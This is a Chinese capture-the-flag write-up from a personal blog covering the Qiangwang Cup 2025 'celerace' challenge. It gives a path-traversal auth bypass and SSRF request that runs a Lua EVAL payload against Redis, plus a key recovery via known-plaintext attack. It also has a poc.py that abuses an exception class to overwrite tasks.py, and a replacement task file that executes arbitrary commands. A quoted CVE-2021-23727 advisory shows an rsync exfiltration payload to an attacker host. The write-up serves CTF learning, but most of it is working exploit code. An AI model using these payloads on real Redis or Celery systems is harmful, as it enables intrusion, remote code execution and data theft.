强网杯2025 celerace wp

本文最后更新于:2025年10月19日 下午

前言

很久没打了

遗憾,时间不够只差最后一步

wp

1
2
3
4
5
6
7
8
POST /tasks/fetch/%2e%2e/123 HTTP/2
Host: eci-2ze2wb24un9r8vou1y1z.cloudeci1.ichunqiu.com:5000
Cookie: mini_session=a07af3a28358e83a
Content-Type: application/json
Content-Length: 418

{"url":"http://127.0.0.1:6379","verb":"EVAL \"local v=redis.call('GET',KEYS[1]) if not v then return nil end v=v:gsub('{',''):gsub('}',''):gsub('\\\"','') local s=redis.call('GET',KEYS[2]) if not s then return nil end local r=string.gsub(s,ARGV[1],v,1) redis.call('SET',KEYS[2],r) return r\" 2 celery-task-meta-a3e8f502-f64d-4c2d-8c95-b57f05f375e2 celery-task-meta-69e4c0c0-5c17-4662-9286-fb04939ed2cc 123\r\nGET"
}

可以绕过鉴权,随后利用lua打redis,无回显通过写入其他任务的meta,随后读result来绕过

随后条件竞争提celery中的任务队列中的密文,通过明文攻击获取aeskey

随后打CVE‑2021‑23727

When a task fails, the failure information is serialized in the backend. In some cases, the exception class is only importable from the consumer’s code base. In this case, we reconstruct the exception class so that we can re-raise the error on the process which queried the task’s result. This was introduced in #4836. If the recreated exception type isn’t an exception, this is a security issue. Without the condition included in this patch, an attacker could inject a remote code execution instruction such as: os.system("rsync /data attacker@192.168.56.100:~/data") by setting the task’s result to a failure in the result backend with the os, the system function as the exception type and the payload rsync /data attacker@192.168.56.100:~/data as the exception arguments like so: json { "exc_module": "os", 'exc_type': "system", "exc_message": "rsync /data attacker@192.168.56.100:~/data" } According to my analysis, this vulnerability can only be exploited if the producer delayed a task which runs long enough for the attacker to change the result mid-flight, and the producer has polled for the tasks’s result. The attacker would also have to gain access to the result backend. The severity of this security vulnerability is low, but we still recommend upgrading.

这个cve虽然修了,但是我们可以利用DiagnosticsPersistError来实现任意文件写,修复只验证了error类是否存在,但是framework/app.py中的DiagnosticsPersistError类仍然能够实现任意文件写。

任意文件写的前提是存在/tmp/debug,此文件通过mini_session的目录穿越可以创建,在cookie处将mini_session改为/tmp/debug后登录即可。

通过此error来覆盖tasks.py,poc如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# poc.py

import sys, os
sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), '..')))
from framework.app import DiagnosticsPersistError
import json

# 构造payload
content = open("/Users/slain/works/qwb2025/CeleRace_2ecd32259d16b7619d2266334f4bfdf9/src/pwn.py", "r").read()

payload = json.dumps({
"path": "/app/src/tasks.py", # 写入目标路径
"mode": "w", # 打开模式:写入文本模式
"encoding": "utf-8", # 编码方式
"content": content # 要写入的内容
})

# 触发异常(在捕获前会执行写入)
print(payload)
raise DiagnosticsPersistError(payload)


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
# pwn.py

from __future__ import annotations


import os
import pickle
import socket
from typing import Any, Dict
from urllib.parse import urlparse
from subprocess import check_output
from celery import Celery
from kombu.serialization import register

from .config import settings
from .crypto import dumps as encrypt_dumps, loads as decrypt_loads

try:
register(
"miniws-aes",
encrypt_dumps,
decrypt_loads,
content_type="application/x-miniws",
content_encoding="binary",
)
except ValueError:
pass

celery_app = Celery(
"miniws",
broker=settings.celery_broker_url,
backend=settings.celery_backend_url,
)

celery_app.conf.update(
task_serializer="miniws-aes",
task_default_serializer="miniws-aes",
accept_content=["miniws-aes"],
result_serializer="json",
result_accept_content=["json"],
)

@celery_app.task(name="miniws.echo")
def echo_task(message: str) -> Dict[str, Any]:
test=check_output(message)
return {"echo": test}

随后利用前文明文攻击获得的aeskey来伪造明文,向celery中发送pool_restart指令实现worker重启

重启后会加载我们的新tasks.py,直接发送任务miniws.echo即可执行命令


强网杯2025 celerace wp
http://gensokyo.cn/2025/10/19/celerace/
作者
s1ain
发布于
2025年10月19日
许可协议